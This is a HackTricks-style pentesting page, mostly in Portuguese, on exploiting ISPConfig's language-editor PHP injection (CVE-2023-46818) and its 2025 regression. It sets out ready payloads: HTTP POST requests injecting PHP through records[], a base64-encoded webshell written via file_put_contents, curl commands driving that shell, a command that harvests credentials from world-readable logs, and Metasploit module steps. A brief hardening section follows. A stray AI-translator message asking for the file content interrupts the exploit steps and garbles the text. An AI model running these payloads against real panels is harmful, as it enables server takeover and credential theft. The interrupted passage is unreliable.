ISPConfig

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Overview

ISPConfig é um painel de controle de hospedagem de código aberto. Builds antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando habilitado para o super administrador, permitia a injeção arbitrária de código PHP via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, escalonamento de privilégios.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Editor de idiomas PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Precondições:
  • Entrar como a conta superadmin integrada admin (outros papéis não são afetados segundo o fornecedor)
  • O editor de idioma deve estar habilitado: admin_allow_langedit=yes em /usr/local/ispconfig/security/security_settings.ini
  • Impacto: um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, obtendo RCE no contexto web

Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.

Fluxo de exploração manual

  1. Abrir/criar um arquivo de idioma para obter tokens CSRF

Envie um primeiro POST para inicializar o formulário e extrair os campos CSRF da resposta HTML (csrf_id, csrf_key). Caminho de exemplo da requisição: /admin/language_edit.php.

  1. Injetar PHP via records[] e salvar

Enviar um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Teste out-of-band (observar ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Escrever arquivos e colocar um webshell

Use file_put_contents para criar um arquivo em um caminho acessível pela web (por exemplo, admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Então escreva um webshell simples usando base64 para evitar caracteres problemáticos no corpo do POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Não tenho acesso direto ao arquivo. Por favor cole aqui o conteúdo de src/network-services-pentesting/pentesting-web/ispconfig.md que deseja que eu traduza para o português (manterei a sintaxe Markdown/HTML e as exceções que você indicou).

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se o PHP for executado como root (por exemplo, via php -S 127.0.0.1:8080 iniciado pelo root), isso gera RCE imediato como root. Caso contrário, você obtém execução de código como o usuário do servidor web.

2025 regression (ISPConfig 3.3.0 / 3.3.0p1)

O bug do language editor ressurgiu em 3.3.0/3.3.0p1 e foi corrigido em 3.3.0p2. As precondições permanecem inalteradas (admin_allow_langedit e login de admin). O mesmo patch também corrigiu um monitor XSS e logs rotacionados legíveis por todos.

Notes:

  • On 3.3.0/3.3.0p1, world-readable rotated logs under /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Os passos do exploit correspondem ao CVE-2023-46818; 3.3.0p2 adiciona verificações extras antes da edição de idioma.

PoC em Python

Um exploit pronto para uso automatiza token handling e payload delivery:

Exemplo de execução:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Módulo Metasploit (lançado em julho de 2025)

Rapid7 adicionou exploit/linux/http/ispconfig_lang_edit_php_code_injection, que pode habilitar automaticamente admin_allow_langedit se a conta de administrador fornecida tiver direitos system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

O módulo grava um payload base64-encoded através de records[] e o executa, resultando em um PHP Meterpreter ou payload customizado.

Endurecimento

  • Atualize para 3.2.11p1 ou posterior para o problema original, e para 3.3.0p2 ou posterior para a regressão de 2025.
  • Desative o language editor salvo se estritamente necessário:
admin_allow_langedit=no
  • Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
  • Exigir autenticação forte para a conta integrada admin

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks